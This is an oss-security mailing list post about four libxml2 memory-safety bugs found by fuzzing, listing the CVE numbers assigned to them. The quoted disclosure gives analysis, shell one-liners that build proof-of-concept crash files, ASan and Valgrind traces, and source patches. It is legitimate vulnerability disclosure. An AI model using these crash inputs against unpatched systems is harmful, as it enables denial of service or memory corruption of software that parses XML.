Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Mon, 22 May 2017 11:15:19 +0800
From: Manh Dung Nguyen <dungnguy@...p.nus.edu.sg>
To: Marcel Böhme <boehme.marcel@...il.com>
Cc: oss-security@...ts.openwall.com, Thuan Pham <thuanpv.nus@...il.com>, 
	veillard@...hat.com
Subject: Re: Invalid writes and reads in libxml2

Dear All,

Please find below the CVEs that have been assigned by MITRE.

1) BUG 781333 - STACK OVERFLOW IN VALID.C: *CVE-2017-9047*
https://bugzilla.gnome.org/show_bug.cgi?id=781333

2) BUG 781701 - ANOTHER STACK OVERFLOW in VALID.C: *CVE-2017-9048*
https://bugzilla.gnome.org/show_bug.cgi?id=781701

3) BUG 781205 - HEAP-BASED BUFFER OVERFLOW IN xmlDictComputeFastKey:
*CVE-2017-9049*
https://bugzilla.gnome.org/show_bug.cgi?id=781205

4) BUG 781361 - HEAP-BASED BUFFER OVERFLOW IN xmlDictAddString:
*CVE-2017-9050*
https://bugzilla.gnome.org/show_bug.cgi?id=781361

Thanks,
Manh Dung



On 15 May 2017 at 12:57, Marcel Böhme <boehme.marcel@...il.com> wrote:

> Dear all,
>
> In a fuzzing session with AFLGo, a directed version of AFL/AFLFast, we
> found four crashers (two invalid writes and two invalid reads) in LibXML2.
> These were reported to the maintainers one month ago. We provided analysis
> and patches and sent several email-reminders, explaining our intend to
> disclose, but there has been no response. The bug reports are currently not
> public. So, in the spirit of full disclosure, we attach the bug reports
> with analysis and patches here. Using the record of this email, we are
> going to request CVEs from MITRE.
>
> We can reproduce these vulns in the DOM-validator of PHP (
> https://bugs.php.net/bug.php?id=74459) and recommend to apply the patches
> provided below to prevent exploitation. Patches were checked against the
> regression test suite of PHP and LibXML2. However, these patches have *not*
> been reviewed, yet.
>
> Credits for finding, analysing, and patching the errors go to Marcel Böhme
> and Van-Thuan Pham of TSUNAMi Security Research Centre, National University
> of Singapore.
> We thank Manh-Dung Nguyen for preparing this disclosure notice.
>
> +++++++++++++++++++++++++++++++++++++++++++++++
> +  1) BUG 781333 - STACK OVERFLOW IN VALID.C
> +  https://bugzilla.gnome.org/show_bug.cgi?id=781333
> +++++++++++++++++++++++++++++++++++++++++++++++
>
> Here is a quick analysis:
> The function xmlSnprintfElementContent in valid.c is supposed to
> recursively dump the element content definition into a char buffer 'buf' of
> size 'size'. The variable len is assigned strlen(buf). If the content->type
> is XML_ELEMENT_CONTENT_ELEMENT, then (i) the content->prefix is appended to
> buf (if it actually fits) whereupon (ii) content->name is written to the
> buffer. However, the check whether the content->name actually fits also
> uses 'len' rather than the updated buffer length strlen(buf). This allows
> us to write about "size" many bytes beyond the allocated memory.
>
> $ ./xmllint --version
> /src/libxml2/.libs/lt-xmllint: using libxml version
> 20904-GITv2.9.4-16-g0741801
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
>
> How to reproduce:
> $ s=$(printf "%-757s" "0")
> $ t=$(printf "%-4924s" "0")
> $ echo '<!DOCTYPEa[<!ELEMENT a (F'"${s// /0}:${t// /0}"')><!ATTLIST
> a><!ELEMENT b EMPTY><!ATTLIST b s CDATA #IMPLIED>]><a/>' > bug1.xml
> $ ./xmllint --valid bug1.xml
> =================================================================
> ==17183==ERROR: AddressSanitizer: stack-buffer-overflow on address
> 0x7fffb66dac88 at pc 0x7f2daa004f13 bp 0x7fffb66d9820 sp 0x7fffb66d9818
> WRITE of size 4925 at 0x7fffb66dac88 thread T0
>    #0 0x7f2daa004f12 in xmlSnprintfElementContent__internal_alias
> /src/libxml2/valid.c:1323:9
>    #1 0x7f2daa039d58 in xmlValidateElementContent
> /src/libxml2/valid.c:5445:6
>    #2 0x7f2daa039d58 in xmlValidateOneElement__internal_alias
> /src/libxml2/valid.c:6152
>    #3 0x7f2daa49b106 in xmlSAX2EndElementNs__internal_alias
> /src/libxml2/SAX2.c:2467:24
>    #4 0x7f2da9f1a4ca in xmlParseElement__internal_alias
> /src/libxml2/parser.c:10212:3
>    #5 0x7f2da9f33758 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10962:2
>    #6 0x7f2da9f622f5 in xmlDoRead /src/libxml2/parser.c:15445:5
>    #7 0x7f2da9f622f5 in xmlCtxtReadFile__internal_alias
> /src/libxml2/parser.c:15690
>    #8 0x521133 in parseAndPrintFile /src/libxml2/xmllint.c:2391:9
>    #9 0x5184cd in main /src/libxml2/xmllint.c:3772:7
>    #10 0x7f2da8eb382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>    #11 0x41d2b8 in _start (/src/libxml2/.libs/lt-xmllint+0x41d2b8)
>
> Address 0x7fffb66dac88 is located in stack of thread T0 at offset 5128 in
> frame
>    #0 0x7f2daa032e5f in xmlValidateOneElement__internal_alias
> /src/libxml2/valid.c:5943
>
> This frame has 5 object(s):
>     [32, 82) 'fn.i' (line 5288)
>     [128, 5128) 'expr.i' (line 5441)
>     [5392, 10392) 'list.i' (line 5442) <== Memory access at offset 5128
> partially underflows this variable
>     [10656, 10660) 'extsubset' (line 5950)
>     [10672, 10722) 'fn' (line 6063)
>
> PATCHED BY:
> --- a/valid.c
> +++ a/valid.c
> @@ -1270,6 +1270,7 @@ xmlSnprintfElementContent(char *buf, int size,
> xmlElementContentPtr content, int
>                 }
>                 strcat(buf, (char *) content->prefix);
>                 strcat(buf, ":");
> +               len += xmlStrlen(content->prefix);
>             }
>             if (size - len < xmlStrlen(content->name) + 10) {
>                 strcat(buf, " ...");
>
> +++++++++++++++++++++++++++++++++++++++++++++++
> +  BUG 781701 - ANOTHER STACK OVERFLOW in VALID.C
> +  https://bugzilla.gnome.org/show_bug.cgi?id= 781701
> +++++++++++++++++++++++++++++++++++++++++++++++
>
> Here is a quick analysis:
> The bug is related to but different from Bug 781333. Function
> xmlSnprintfElementContent in valid.c is supposed to recursively dump the
> element content definition into a char buffer 'buf' of size 'size'. At the
> end of the routine, the function may strcat two more characters without
> checking whether the current strlen(buf) + 2 < size.
>
> $ ./xmllint --version
> /src/libxml2/.libs/lt-xmllint: using libxml version
> 20904-GITv2.9.4-16-g0741801
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
>
> How to reproduce:
> $ ./xmllint --valid bug2.xml
> ==112703==ERROR: AddressSanitizer: stack-buffer-overflow on address
> 0x7ffeff6f3428 at pc 0x7fd88f824d3c bp 0x7ffeff6f1fb0 sp 0x7ffeff6f1fa8
> WRITE of size 2 at 0x7ffeff6f3428 thread T0
>    #0 0x7fd88f824d3b in xmlSnprintfElementContent__internal_alias
> /src/libxml2/valid.c
>    #1 0x7fd88f859b8d in xmlValidateElementContent
> /src/libxml2/valid.c:5447:6
>    #2 0x7fd88f859b8d in xmlValidateOneElement__internal_alias
> /src/libxml2/valid.c:6154
>    #3 0x7fd89031cd6c in xmlSAX2EndElementNs__internal_alias
> /src/libxml2/SAX2.c:2467:24
>    #4 0x7fd88f63b242 in xmlParseEndTag2 /src/libxml2/parser.c:9930:2
>    #5 0x7fd88f5fec12 in xmlParseElement__internal_alias
> /src/libxml2/parser.c:10292:2
>    #6 0x7fd88f654709 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10966:2
>    #7 0x7fd88f6d3647 in xmlDoRead /src/libxml2/parser.c:15449:5
>    #8 0x7fd88f6d3647 in xmlCtxtReadFile__internal_alias
> /src/libxml2/parser.c:15694
>    #9 0x559158 in parseAndPrintFile /src/libxml2/xmllint.c:2391:9
>    #10 0x54b0e4 in main /src/libxml2/xmllint.c:3772:7
>    #11 0x7fd88e40b82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>    #12 0x41d0b8 in _start (/src/libxml2/.libs/lt-xmllint+0x41d0b8)
>
> Address 0x7ffeff6f3428 is located in stack of thread T0 at offset 5128 in
> frame
>    #0 0x7fd88f852c6f in xmlValidateOneElement__internal_alias
> /src/libxml2/valid.c:5945
>
>  This frame has 5 object(s):
>    [32, 82) 'fn.i' (line 5290)
>    [128, 5128) 'expr.i' (line 5443) <== Memory access at offset 5128
> overflows this variable
>    [5392, 10392) 'list.i' (line 5444)
>    [10656, 10660) 'extsubset' (line 5952)
>    [10672, 10722) 'fn' (line 6065)
> HINT: this may be a false positive if your program uses some custom
> stack unwind mechanism or swapcontext
>      (longjmp and C++ exceptions *are* supported)
> SUMMARY: AddressSanitizer: stack-buffer-overflow /src/libxml2/valid.c
> in xmlSnprintfElementContent__internal_alias
>
> PATCHED BY:
> --- a/valid.c
> +++ a/valid.c
> @@ -1320,6 +1320,7 @@ xmlSnprintfElementContent(char *buf, int size,
> xmlElementContentPtr content, int
>                 xmlSnprintfElementContent(buf, size, content->c2, 0);
>             break;
>      }
> +    if (size - strlen(buf) <= 2) return;
>      if (englob)
>          strcat(buf, ")");
>      switch (content->ocur) {
>
> +++++++++++++++++++++++++++++++++++++++++++++++
> +  BUG 781205 - HEAP-BASED BUFFER OVERFLOW IN xmlDictComputeFastKey (NEW)
> +  https://bugzilla.gnome.org/show_bug.cgi?id= 781205
> +++++++++++++++++++++++++++++++++++++++++++++++
>
> We understand that a similar bug report (non-public) was filed before:
> https://bugzilla.gnome.org/show_bug.cgi?id=759398
> and fixed about a year ago in git revision 45752d2:
> https://github.com/GNOME/libxml2/commit/45752d2c334b50016666d8f0ec3691
> e2d680f0a0
>
> However, the patch was apparently incomplete.
>
> How to reproduce with xmllint:
> $ ./xmllint --version
> /src/libxml2/.libs/lt-xmllint: using libxml version
> 20904-GITv2.9.4-16-g0741801
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
>
>
> $ printf "%s\x0d%s\x0da\x09%s" '<?l?><!DOCTYPED[<!ENTITY' '%'
> '"<:0000">%a;' > bug3.xml
> $ ./xmlint --memory --oldxml10 bug3.xml
>
> ASAN says (for libxml2 in trunk):
> =================================================================
> ==18512==ERROR: AddressSanitizer: heap-buffer-overflow on address
> 0x60200000020f at pc 0x7fb731bca172 bp 0x7ffe8fe8cd10 sp 0x7ffe8fe8cd08
> READ of size 1 at 0x60200000020f thread T0
>    #0 0x7fb731bca171 in xmlDictComputeFastKey /src/libxml2/dict.c:448:13
>    #1 0x7fb731bca171 in xmlDictLookup__internal_alias
> /src/libxml2/dict.c:851
>    #2 0x7fb7315f7760 in xmlParseNameComplex /src/libxml2/parser.c
>    #3 0x7fb7315f7760 in xmlParseName__internal_alias
> /src/libxml2/parser.c:3487
>    #4 0x7fb7316afe66 in xmlParseQName /src/libxml2/parser.c:8900:10
>    #5 0x7fb7316691c5 in xmlParseStartTag2 /src/libxml2/parser.c:9419:17
>    #6 0x7fb7316643dc in xmlParseElement__internal_alias
> /src/libxml2/parser.c:10179:16
>    #7 0x7fb73167f758 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10962:2
>    #8 0x7fb7316ac7ac in xmlDoRead /src/libxml2/parser.c:15445:5
>    #9 0x7fb7316aceb4 in xmlReadMemory__internal_alias
> /src/libxml2/parser.c:15531:13
>    #10 0x5214c0 in parseAndPrintFile /src/libxml2/xmllint.c:2371:9
>    #11 0x5184cd in main /src/libxml2/xmllint.c:3772:7
>    #12 0x7fb7305ff82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>    #13 0x41d2b8 in _start (/src/libxml2/.libs/lt-xmllint+0x41d2b8)
>
> 0x60200000020f is located 1 bytes to the left of 6-byte region
> [0x602000000210,0x602000000216)
> allocated by thread T0 here:
>    #0 0x4d8018 in malloc /src/llvm/projects/compiler-
> rt/lib/asan/asan_malloc_linux.cc:66
>    #1 0x7fb7315f9fe3 in xmlNewBlanksWrapperInputStream
> /src/libxml2/parser.c:2477:14
>    #2 0x7fb731642dd6 in xmlParsePEReference__internal_alias
> /src/libxml2/parser.c:8122:14
>    #3 0x7fb73164218b in xmlParseMarkupDecl__internal_alias
> /src/libxml2/parser.c:7031:2
>    #4 0x7fb731680e66 in xmlParseInternalSubset /src/libxml2/parser.c:8482:6
>    #5 0x7fb73167eec4 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10930:6
>    #6 0x7fb7316ac7ac in xmlDoRead /src/libxml2/parser.c:15445:5
>    #7 0x7fb7316aceb4 in xmlReadMemory__internal_alias
> /src/libxml2/parser.c:15531:13
>    #8 0x5214c0 in parseAndPrintFile /src/libxml2/xmllint.c:2371:9
>    #9 0x5184cd in main /src/libxml2/xmllint.c:3772:7
>    #10 0x7fb7305ff82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>
> SUMMARY: AddressSanitizer: heap-buffer-overflow /src/libxml2/dict.c:448:13
> in xmlDictComputeFastKey
>
> Valgrind says (for my installed version of xmllint)
> $  xmllint --version
> xmllint: using libxml version 20903
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
> Zlib Lzma
>
> ==38641== Invalid read of size 1
> ==38641==    at 0x4F75CE8: xmlDictLookup (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E7C523: xmlParseName (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8503C: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E852EB: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8CE2E: xmlParseElement (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8D949: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E947BD: xmlReadMemory (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x111F98: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x521582F: (below main) (libc-start.c:291)
> ==38641==  Address 0x8303e7f is 1 bytes before a block of size 6 alloc'd
> ==38641==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_
> memcheck-amd64-linux.so)
> ==38641==    by 0x4E75FCB: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8871F: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E88954: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==38641==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E947BD: xmlReadMemory (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x111F98: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x521582F: (below main) (libc-start.c:291)
> ==38641==
> ==38641== Invalid read of size 1
> ==38641==    at 0x4C32758: memcpy@@GLIBC_2.14 (in
> /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
> ==38641==    by 0x4F74FBD: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4F75C3C: xmlDictLookup (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E7C523: xmlParseName (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8503C: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E852EB: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8CE2E: xmlParseElement (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8D949: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E947BD: xmlReadMemory (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x111F98: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x521582F: (below main) (libc-start.c:291)
> ==38641==  Address 0x8303e7f is 1 bytes before a block of size 6 alloc'd
> ==38641==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_
> memcheck-amd64-linux.so)
> ==38641==    by 0x4E75FCB: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8871F: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E88954: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==38641==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E947BD: xmlReadMemory (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x111F98: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x521582F: (below main) (libc-start.c:291)
> ==38641==
>
> PATCHED BY:
> --- a/parser.c
> +++ a/parser.c
> @@ -3312,6 +3312,7 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>      int len = 0, l;
>      int c;
>      int count = 0;
> +    size_t startPosition = 0;
>
>  #ifdef DEBUG
>      nbParseNameComplex++;
> @@ -3323,6 +3324,7 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>      GROW;
>      if (ctxt->instate == XML_PARSER_EOF)
>          return(NULL);
> +    startPosition = CUR_PTR - BASE_PTR;
>      c = CUR_CHAR(l);
>      if ((ctxt->options & XML_PARSE_OLD10) == 0) {
>          /*
> @@ -3420,9 +3422,11 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>          xmlFatalErr(ctxt, XML_ERR_NAME_TOO_LONG, "Name");
>          return(NULL);
>      }
> -    if ((*ctxt->input->cur == '\n') && (ctxt->input->cur[-1] == '\r'))
> -        return(xmlDictLookup(ctxt->dict, ctxt->input->cur - (len + 1),
> len));
> -    return(xmlDictLookup(ctxt->dict, ctxt->input->cur - len, len));
> +
> +    if (BASE_PTR + startPosition + len > ctxt->input->end)
> +      return(NULL);
> +
> +    return(xmlDictLookup(ctxt->dict, BASE_PTR + startPosition, len));
>  }
>
>  /**
>
> +++++++++++++++++++++++++++++++++++++++++++++++
> +  BUG 781361 - HEAP-BASED BUFFER OVERFLOW IN xmlDictAddString
> +  https://bugzilla.gnome.org/show_bug.cgi?id= 781361
> +++++++++++++++++++++++++++++++++++++++++++++++
>
> Again, we understand that a similar bug report was filed before:
> https://bugzilla.gnome.org/show_bug.cgi?id=758605 (CVE-2016-1839)
> and fixed about a year ago in git revision a820dbe:
> https://git.gnome.org/browse/libxml2/commit/?id=
> a820dbeac29d330bae4be05d9ecd939ad6b4aa33
>
> However, this patch was apparently incomplete, as well.
>
> LIBXML version:
> $ ./xmllint --version
> /src/libxml2/.libs/lt-xmllint: using libxml version
> 20904-GITv2.9.4-16-g0741801
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
>
> How to reproduce:
> $ ./xmllint --oldxml10 bug4.xml
>
> ASAN says:
> =================================================================
> ==44604==ERROR: AddressSanitizer: heap-buffer-overflow on address
> 0x603000000030 at pc 0x0000004c1685 bp 0x7ffc15d12290 sp
> 0x7ffc15d11a40
> READ of size 109 at 0x603000000030 thread T0
>    #0 0x4c1684 in __asan_memcpy /src/llvm/projects/compiler-
> rt/lib/asan/asan_interceptors.cc:455
>    #1 0x7fa6e0af4b91 in xmlDictAddString /src/libxml2/dict.c:285:5
>    #2 0x7fa6e0af4b91 in xmlDictLookup__internal_alias
> /src/libxml2/dict.c:926
>    #3 0x7fa6e0522740 in xmlParseNameComplex /src/libxml2/parser.c
>    #4 0x7fa6e0522740 in xmlParseName__internal_alias
> /src/libxml2/parser.c:3487
>    #5 0x7fa6e056afe6 in xmlParseElementDecl__internal_alias
> /src/libxml2/parser.c:6718:16
>    #6 0x7fa6e056d4f0 in xmlParseMarkupDecl__internal_alias
> /src/libxml2/parser.c:6997:4
>    #7 0x7fa6e05abe66 in xmlParseInternalSubset /src/libxml2/parser.c:8482:6
>    #8 0x7fa6e05a9ec4 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10930:6
>    #9 0x7fa6e05d7bd8 in xmlDoRead /src/libxml2/parser.c:15445:5
>    #10 0x7fa6e05d7bd8 in xmlReadFile__internal_alias
> /src/libxml2/parser.c:15507
>    #11 0x521ac8 in parseAndPrintFile /src/libxml2/xmllint.c:2408:9
>    #12 0x51872d in main /src/libxml2/xmllint.c:3775:7
>    #13 0x7fa6df52a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>    #14 0x41d2b8 in _start (/src/libxml2/.libs/lt-xmllint+0x41d2b8)
>
> 0x603000000030 is located 0 bytes to the right of 32-byte region
> [0x603000000010,0x603000000030)
> allocated by thread T0 here:
>    #0 0x4d8018 in malloc /src/llvm/projects/compiler-
> rt/lib/asan/asan_malloc_linux.cc:66
>    #1 0x7fa6e0af4c73 in xmlDictLookup__internal_alias
> /src/libxml2/dict.c:932:10
>    #2 0x7fa6e05793b8 in xmlDetectSAX2 /src/libxml2/parser.c:1078:24
>    #3 0x7fa6e05a8a44 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10844:5
>    #4 0x7fa6e05d7bd8 in xmlDoRead /src/libxml2/parser.c:15445:5
>    #5 0x7fa6e05d7bd8 in xmlReadFile__internal_alias
> /src/libxml2/parser.c:15507
>    #6 0x521ac8 in parseAndPrintFile /src/libxml2/xmllint.c:2408:9
>    #7 0x51872d in main /src/libxml2/xmllint.c:3775:7
>    #8 0x7fa6df52a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>
>
> For the version of libxml that comes pre-installed on Ubuntu 16.04:
> $ xmllint --version
> xmllint: using libxml version 20903
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
> Zlib Lzma
>
> VALGRIND says:
> ==146420== ERROR SUMMARY: 216 errors from 2 contexts (suppressed: 0 from 0)
> ==146420==
> ==146420== 54 errors in context 1 of 2:
> ==146420== Invalid read of size 1
> ==146420==    at 0x4C32758: memcpy@@GLIBC_2.14 (in
> /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
> ==146420==    by 0x4F74FBD: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4F75C3C: xmlDictLookup (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E7C523: xmlParseName (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E83B1F: xmlParseElementDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E889F4: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E944FF: xmlReadFile (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x111EA3: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x521582F: (below main) (libc-start.c:291)
> ==146420==  Address 0x830d378 is 0 bytes after a block of size 104 alloc'd
> ==146420==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_
> memcheck-amd64-linux.so)
> ==146420==    by 0x4E735E1: xmlNewInputStream (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E75FA3: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8871F: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E88954: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E944FF: xmlReadFile (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x111EA3: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x521582F: (below main) (libc-start.c:291)
> ==146420==
> ==146420==
> ==146420== 162 errors in context 2 of 2:
> ==146420== Invalid read of size 1
> ==146420==    at 0x4C32766: memcpy@@GLIBC_2.14 (in
> /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
> ==146420==    by 0x4F74FBD: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4F75C3C: xmlDictLookup (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E7C523: xmlParseName (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E83B1F: xmlParseElementDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E889F4: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E944FF: xmlReadFile (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x111EA3: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x521582F: (below main) (libc-start.c:291)
> ==146420==  Address 0x830d379 is 1 bytes after a block of size 104 alloc'd
> ==146420==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_
> memcheck-amd64-linux.so)
> ==146420==    by 0x4E735E1: xmlNewInputStream (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E75FA3: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8871F: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E88954: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E944FF: xmlReadFile (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x111EA3: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x521582F: (below main) (libc-start.c:291)
> ==146420==
> ==146420== ERROR SUMMARY: 216 errors from 2 contexts (suppressed: 0 from 0)
>
> PATCHED BY:
> --- a/parser.c
> +++ a/parser.c
> @@ -3312,6 +3312,7 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>      int len = 0, l;
>      int c;
>      int count = 0;
> +    size_t startPosition = 0;
>
>  #ifdef DEBUG
>      nbParseNameComplex++;
> @@ -3323,6 +3324,7 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>      GROW;
>      if (ctxt->instate == XML_PARSER_EOF)
>          return(NULL);
> +    startPosition = CUR_PTR - BASE_PTR;
>      c = CUR_CHAR(l);
>      if ((ctxt->options & XML_PARSE_OLD10) == 0) {
>          /*
> @@ -3420,9 +3422,11 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>          xmlFatalErr(ctxt, XML_ERR_NAME_TOO_LONG, "Name");
>          return(NULL);
>      }
